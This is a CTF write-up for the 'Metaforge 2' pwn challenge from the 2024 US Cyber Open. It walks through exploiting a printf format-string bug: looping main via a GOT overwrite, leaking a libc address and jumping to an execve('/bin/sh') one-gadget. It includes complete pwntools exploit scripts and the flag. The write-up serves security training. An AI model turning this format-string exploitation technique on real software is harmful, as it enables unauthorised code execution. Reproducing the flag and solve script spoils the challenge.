Pwn - Metaforge 2 - USCG 2024
A more complex format string challenge requiring a LIBC leak developed by LMS for Season IV of the U.S. Cyber Open.
Description
Why didn’t you just get a shell?
This challenge is an extension of the first challenge, Metaforge, where the solve was using a format string to overwrite a GOT entry to point to
win
. This challenge uses the same binary with the goal of getting code execution, rather than just calling win.
Solution
Summary:
- Find the offset to the beginning of the buffer.
- Use the same format strings to overwrite
_exit
withmain
causing an infinite loop - Use another format string to leak a LIBC address from the stack.
- Calculate the LIBC base using a precomputed offset and add the offset to the one gadget.
- Overwrite the
_exit
GOT entry with the one gadget.
Code Overview
1
2
3
4
5
Canary : ✘
NX : ✓
PIE : ✘
Fortify : ✘
RelRO : Partial
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void main(void)
{
char *local_78;
size_t local_70;
char local_68 [96];
local_70 = 0x60;
memset(local_68,0,0x60);
local_78 = local_68;
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stdin,(char *)0x0,2,0);
puts("This challenge seems easy enough");
getline(&local_78,&local_70,stdin);
printf(local_68);
/* WARNING: Subroutine does not return */
_exit(0);
}
1
2
3
4
5
6
7
8
[0x404000] _exit@GLIBC_2.2.5 → 0x401036
[0x404008] puts@GLIBC_2.2.5 → 0x7ffff7e56b00
[0x404010] printf@GLIBC_2.2.5 → 0x7ffff7e33b30
[0x404018] memset@GLIBC_2.2.5 → 0x7ffff7f33e80
[0x404020] sendfile@GLIBC_2.2.5 → 0x401076
[0x404028] setvbuf@GLIBC_2.2.5 → 0x7ffff7e572e0
[0x404030] open@GLIBC_2.2.5 → 0x401096
[0x404038] getline@GLIBC_2.2.5 → 0x7ffff7e33450
The vulnerability here is plainly obvious on line 15 of main
. The previous challenge, Metaforge, also used this vulnerability but only required calling win
. This challenge comes with the additional requirement of getting code execution.
Looping main
Following the same exploit as the previous challenge, I planned on using a GOT overwrite to hijack control flow of the program. The difference this time is that I did not have a static address like win
that I could use to solve the challenge in a single write. To get around the limitation of only having one printf
call to work with, I modified the previous exploit to overwrite _exit
with main
instead of win
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context.arch = 'amd64'
p = process('./metaforge')
main = 0x4011db
_exit = 0x404000
# Make main loop on exit
writes = {_exit: main}
payload = fmtstr_payload(8, writes)
p.recvline()
p.sendline(payload)
p.interactive()
I knew the offset to the beginning of the buffer was 8 from the previous challenge.
Leaking LIBC
With main
now in an infinite loop, I can use as many format string payloads as I need to get code execution.
To achieve code execution, I used a one gadget. To locate the one gadget in memory, I first needed to find the LIBC base address. Looking at the stack at the time of the second printf
call, I was able to find a LIBC address on the stack that I could leak.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
gef➤ dereference -l 35
0x007fffeb9d1450│+0x0000: 0x007fffeb9d1460 → 0x000a7024373325 ("%37$p\n"?) ← $rsp
0x007fffeb9d1458│+0x0008: 0x00000000000060 ("`"?)
0x007fffeb9d1460│+0x0010: 0x00000a6f616d6c ("lmao\n"?) ← $rdi
0x007fffeb9d1468│+0x0018: 0x0000000000000000
0x007fffeb9d1470│+0x0020: 0x0000000000000000
0x007fffeb9d1478│+0x0028: 0x0000000000000000
0x007fffeb9d1480│+0x0030: 0x0000000000000000
0x007fffeb9d1488│+0x0038: 0x0000000000000000
0x007fffeb9d1490│+0x0040: 0x0000000000000000
0x007fffeb9d1498│+0x0048: 0x0000000000000000
0x007fffeb9d14a0│+0x0050: 0x0000000000000000
0x007fffeb9d14a8│+0x0058: 0x0000000000000000
0x007fffeb9d14b0│+0x0060: 0x0000000000000000
0x007fffeb9d14b8│+0x0068: 0x0000000000000000
0x007fffeb9d14c0│+0x0070: 0x007fffeb9d1540 → 0x0000000000000001 ← $rbp
0x007fffeb9d14c8│+0x0078: 0x00000000401289 → add BYTE PTR [rax], al
0x007fffeb9d14d0│+0x0080: 0x007fffeb9d14e0 → "%219c%13$lln%54c%14$hhn%47c%15$hhnaaaaba"
0x007fffeb9d14d8│+0x0088: 0x00000000000060 ("`"?)
0x007fffeb9d14e0│+0x0090: "%219c%13$lln%54c%14$hhn%47c%15$hhnaaaaba"
0x007fffeb9d14e8│+0x0098: "$lln%54c%14$hhn%47c%15$hhnaaaaba"
0x007fffeb9d14f0│+0x00a0: "%14$hhn%47c%15$hhnaaaaba"
0x007fffeb9d14f8│+0x00a8: "47c%15$hhnaaaaba"
0x007fffeb9d1500│+0x00b0: "hnaaaaba"
0x007fffeb9d1508│+0x00b8: 0x00000000404000 → 0x000000004011db → <main+0> push rbp
0x007fffeb9d1510│+0x00c0: 0x00000000404001 → <[email protected]+1> adc DWORD PTR [rax+0x0], eax
0x007fffeb9d1518│+0x00c8: 0x00000000404002 → 0x8b00000000000040 ("@"?)
0x007fffeb9d1520│+0x00d0: 0x0000000000000a ("\n"?)
0x007fffeb9d1528│+0x00d8: 0x0000000000000000
0x007fffeb9d1530│+0x00e0: 0x0000000000000000
0x007fffeb9d1538│+0x00e8: 0x0000000000000000
0x007fffeb9d1540│+0x00f0: 0x0000000000000001
0x007fffeb9d1548│+0x00f8: 0x00769935f2a6ca → 0xe80001739fe8c789
0x007fffeb9d1550│+0x0100: 0x007fffeb9d1640 → 0x007fffeb9d1648 → 0x007699360e51c0 → 0x00769935f03000 → 0x03010102464c457f
0x007fffeb9d1558│+0x0108: 0x000000004011db → <main+0> push rbp
0x007fffeb9d1560│+0x0110: 0x00000100400040 ("@"?)
The LIBC address on the stack is located at rsp+0xf8
. I was able to find the offset I needed to leak using the following simple equation.
1
2
(rsp+0xf8 - rdi) / 8 + 8
(0x007fffeb9d1548 - 0x007fffeb9d1460) / 8 + 8 = 37
To calculate the LIBC base, I wrote a simple GDB script that would get the LIBC address on the stack and subtract that from the base address of LIBC.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
context.arch = 'amd64'
p = process('./metaforge')
gdb.attach(p, gdbscript="""
b *main+159
c
c
python libc = int(gdb.execute('vmmap libc', to_string=True).split('\\n')[2].split()[0][:-4], 16);
python print(f'Offset to LIBC: {int(gdb.execute('x/gd $rsp+0xf8', to_string=True).split(':')[1]) - libc}')
""")
main = 0x4011db
_exit = 0x404000
# Make main loop on exit
writes = {_exit: main}
payload = fmtstr_payload(8, writes)
p.recvline()
p.sendline(payload)
# Leak LIBC
payload = b'%37$p'
p.recvline()
p.recvline()
p.sendline(payload)
p.interactive()
After running the script several times, I was consistently getting an offset of 161482
bytes. I used this value to consistently compute the LIBC base address.
1
2
3
4
5
6
7
8
9
10
11
# Leak LIBC
payload = b'%37$p'
p.recvline()
p.recvline()
p.sendline(payload)
libc = int(p.recvuntil(b'\n').strip().decode(), 16) - 161482
one_gadget += libc
log.info(f'LIBC Base: {hex(libc)}')
Getting RCE w/ One Gadget
The final step is to find a one gadget in the provided LIBC that can be used to get RCE. one_gadget
returns 3 potential gadgets. I selected the execve
gadget because the _exit
call in main
sets RDI to zero which is the only real restriction on using this gadget.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[[email protected]]╾─╼[metaforge2]
▶ one_gadget ./libc.so.6
0x4c5c9 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
address rsp+0x60 is writable
rsp & 0xf == 0
rax == NULL || {"sh", rax, r12, NULL} is a valid argv
rbx == NULL || (u16)[rbx] == NULL
0x4c5d0 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
address rsp+0x60 is writable
rsp & 0xf == 0
rcx == NULL || {rcx, rax, r12, NULL} is a valid argv
rbx == NULL || (u16)[rbx] == NULL
0xd46ef execve("/bin/sh", rbp-0x40, r13)
constraints:
address rbp-0x38 is writable
rdi == NULL || {"/bin/sh", rdi, NULL} is a valid argv
[r13] == NULL || r13 == NULL || r13 is a valid envp
The only issue left to solve is that the payload will be larger than the input array (96 bytes) by using the hhn
format specifier. This can be solved by changing to hn
, or in pwntools
, by setting the write_size
in fmtstr_payload
to short
.
1
2
3
4
5
6
7
writes = {_exit: one_gadget}
payload = fmtstr_payload(8, writes, write_size='short')
p.recvline()
p.sendline(payload)
p.interactive()
Full Solve Script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
context.arch = 'amd64'
p = process('./metaforge')
#gdb.attach(p, gdbscript="""
# b *main+159
# c
# c
# python libc = int(gdb.execute('vmmap libc', to_string=True).split('\\n')[2].split()[0][:-4], 16);
# python print(f'Offset to LIBC: {int(gdb.execute('x/gd $rsp+0xf8', to_string=True).split(':')[1]) - libc}')
# """)
one_gadget = 0x0d46ef
main = 0x4011db
_exit = 0x404000
# Make main loop on exit
writes = {_exit: main}
payload = fmtstr_payload(8, writes)
p.recvline()
p.sendline(payload)
# Leak LIBC
payload = b'%37$p'
p.recvline()
p.recvline()
p.sendline(payload)
libc = int(p.recvuntil(b'\n').strip().decode(), 16) - 161482
one_gadget += libc
log.info(f'LIBC Base: {hex(libc)}')
log.info(f'One Gadget: {hex(one_gadget)}')
log.info(f'One Gadget Offset: {hex(one_gadget-libc)}')
writes = {_exit: one_gadget}
payload = fmtstr_payload(8, writes, write_size='short')
p.recvline()
p.sendline(payload)
p.interactive()
Flag: SIVUSCG{NOW_THIS_IS_WHAT_WE_CALL_ROP_24}